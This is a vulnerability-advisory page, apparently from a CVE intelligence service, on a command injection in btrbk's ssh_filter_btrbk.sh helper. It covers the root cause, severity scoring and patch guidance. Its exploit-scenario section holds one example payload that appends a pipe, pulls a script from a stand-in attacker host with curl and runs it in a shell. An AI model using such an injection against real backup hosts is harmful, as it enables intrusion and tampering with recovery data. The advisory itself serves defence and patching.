Skip to main content

btrbk CVE-2026-62943

| EUVDEUVD-2026-83054 HIGH
OS Command Injection (CWE-78)
2026-09-18 GitHub_M
8.7
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Possess restricted forced-command SSH key
  2. Delivery
    Craft valid btrbk prefix + trailing pipe
  3. Exploit
    Bypass start-anchored allowlist regex
  4. Execution
    Execute appended command
  5. Impact
    Run arbitrary commands as backup account

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the deployment uses ssh_filter_btrbk.sh as an authorized_keys forced command on the backup-target SSH account, and that the attacker already controls a key subject to that restriction (PR:L) - the whole vulnerability is an escape from that specific restriction. Deployments that do NOT use ssh_filter_btrbk.sh in authorized_keys are explicitly not affected. Affected versions are 0.29.0 through 0.32.6 (fixed in 0.32.7). No user interaction is needed and no non-default toggle beyond the presence of the ssh_filter forced command; the limiting factor is that this is a restricted-peer-to-host trust escape, not an unauthenticated network attack.

Impact

This is a genuine but access-gated authorization-bypass leading to command execution. The vendor CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H = 8.7) is well-calibrated and I agree with it: it correctly encodes PR:L, because exploitation is only possible for a principal who ALREADY holds an authorized SSH key whose forced command is ssh_filter_btrbk.sh. This is not a pre-auth internet-facing RCE - it is a privilege/trust-boundary escape available to an already-authorized, deliberately-restricted backup peer. The source diff confirms the root cause unambiguously: allow_stream_match was anchored with '^' but not with a terminating '$', so a valid btrbk command prefix could be followed by an attacker-appended '| arbitrary_command'. EPSS, CISA KEV, and public POC status are all absent from the input - no public exploit is identified at time of analysis, and there is no evidence of active exploitation. However, the fix is a one-character anchor change and the vulnerable pattern is trivially reasoned about from the public commit, so exploit development difficulty is low for anyone who reads the advisory. Net: not a mass-exploitation emergency (no KEV, no EPSS signal, narrow deployment, requires an existing restricted key), but a high-severity patch-promptly issue for the specific population that relies on ssh_filter_btrbk.sh as a security boundary - for them the allowlist they trust is bypassable.

Exploit ScenarioDerived

An organization gives a backup host a restricted SSH key on the storage target, using ssh_filter_btrbk.sh as a forced command so that peer can only run btrbk backup operations. A malicious or compromised backup host sends a command consisting of a legitimate btrbk prefix followed by a trailing pipe, e.g. a valid stream command plus '| id; curl attacker/x | sh', which passes the start-anchored allowlist and executes as the backup-target SSH account. No public POC is identified in the provided data, but the fix commit publicly discloses the exact missing-anchor flaw.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 18, 2026

Command injection in btrbk's ssh_filter_btrbk.sh helper (versions 0.29.0 through 0.32.6) lets a user who already holds an SSH key restricted by that script append a trailing pipe command to an otherwise permitted btrbk invocation, executing arbitrary commands with the privileges of the backup-target SSH account. The root cause is a missing end-of-string anchor in the allow_stream_match regular expression, so the filter validates only a command prefix and ignores everything after it. Exploitation is gated: it requires that the deployment actually use ssh_filter_btrbk.sh as an authorized_keys forced command (deployments that do not are explicitly unaffected), and an attacker must already control a key subject to that restriction (PR:L); no public exploit has been identified at time of analysis. The issue is fixed in btrbk 0.32.7 via upstream commit 29ca3c0.

RemediationAI

Vendor-released patch: btrbk 0.32.7 - upgrade every host that runs the ssh_filter_btrbk.sh forced command to 0.32.7 or later, or cherry-pick commit 29ca3c093205395bdeb9dd98677ab4139c458aec, which adds the missing end-of-string anchor to allow_stream_match; details are in GHSA-pf45-7g54-65h5. Where an immediate upgrade is not possible, the practical compensating control is to stop using ssh_filter_btrbk.sh as the authorized_keys forced command on the backup-target account: this removes the injection path entirely, but it also removes the command allowlisting, so you must replace it with tighter access controls - e.g., dedicate the backup SSH account to a locked-down shell that only accepts the specific btrbk invocations you need, or restrict the key to a non-login account with filesystem permissions limited to the backup destination. Alternatively, review the authorized_keys entries and revoke or restrict any key whose forced command is ssh_filter_btrbk.sh; the trade-off is that legitimate backup peers using those keys will lose access until re-provisioned. Note that rotating keys alone does not fix the bug for keys that remain restricted by the vulnerable filter, since the bypass applies to any key subject to the forced command.

Affected VersionsENISA

btrbk 0.29.0, < 0.32.7

Affected Packages

euvd btrbk_0_29_0 fix: 0.32.7

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

btrbk ships ssh_filter_btrbk.sh, a shell helper intended to be installed as an authorized_keys 'command=' forced command so that a remote backup peer can only run a narrow allowlist of btrbk invocations on the backup target. The script builds a shell regex named allow_stream_match by concatenating stream_in_match, allow_cmd_match and stream_out_match, and prior to the fix it anchored only the beginning of the string ('^...') without a terminating '$'. Because the match was prefix-based, an attacker could supply a valid btrbk command prefix followed by ' | <arbitrary command>' and the filter would still accept the line, passing the full pipeline to /bin/sh. The commit 29ca3c093205395bdeb9dd98677ab4139c458aec changes stream_out_match to '( \| ${mbuffer_match})?( \| ${compress_match})?' and, critically, appends '$' to allow_stream_match, so the entire command line must now match. This is classic OS command injection (CWE-78): untrusted input (the SSH command string) is incorporated into a shell command without effective neutralization. The affected component is the digint:btrbk product (CPE cpe:2.3:a:digint:btrbk:*:*:*:*:*:*:*:*), a Btrfs snapshot and remote-backup tool, and the vulnerable surface is the SSH command filter rather than btrbk's snapshot logic itself.

Know when Btrbk gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.8 HIGH

Attacker must already hold a restricted forced-command SSH key (PR:L), then trivially appends a shell command (AC:L) for full command execution as that account (C/I/A:H).

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Sep 18, 2026 - 17:17 EUVD
CVE Published
Sep 18, 2026 - 16:24 cve.org
HIGH 8.7

DescriptionCVE.org

btrbk is a tool for creating snapshots and remote backups of Btrfs subvolumes. From 0.29.0 until 0.32.7, btrbk's ssh_filter_btrbk.sh constructs allow_stream_match with a start anchor but without an end-of-string anchor for the complete command. A user restricted through an authorized_keys forced command can append a trailing pipe command after a valid btrbk command prefix, bypassing the allowlist and executing arbitrary commands with the privileges of the backup-target SSH account. Deployments that do not use ssh_filter_btrbk.sh in authorized_keys are not affected. This issue is fixed in version 0.32.7.

Technical POC Analysis

CWE-78 (OS command injection) in the Btrfs backup tool btrbk's sshfilterbtrbk.sh helper, shipped with versions 0.29.0 through 0.32.6.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

A command-injection flaw in btrbk versions 0.29.0 through 0.32.6 allows anyone holding an already-restricted SSH key to run arbitrary commands as the backup-target SSH account, but only in deployments that use the ssh_filter_btrbk.sh helper as an authorized_keys forced command. Because the affected account sits on the backup target, successful abuse could let an insider or a holder of a compromised key tamper with or destroy the very backups the organization relies on for recovery. Leadership should care that this is a recovery-integrity risk in a gated but high-severity scenario, and that remediation requires both upgrading btrbk and re-examining how backup SSH access is authorized.

Business Impact: High
Compensating Controls

Apply vendor patch (btrbk 0.32.7). Where immediate upgrade is not possible, remove ssh_filter_btrbk.sh as the authorized_keys forced command or replace it with a wrapper enforcing an anchored command allow-list, restrict the backup-target SSH account to trusted source addresses, rotate keys subject to that restriction, and monitor that account for unexpected command execution.

Threat Intelligence Overview

EPSS Score
0.3%
Top 79% exploitable
Prevalence
Low
niche Btrfs snapshot/backup CLI, and only the ssh_filter hardening path is affected
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy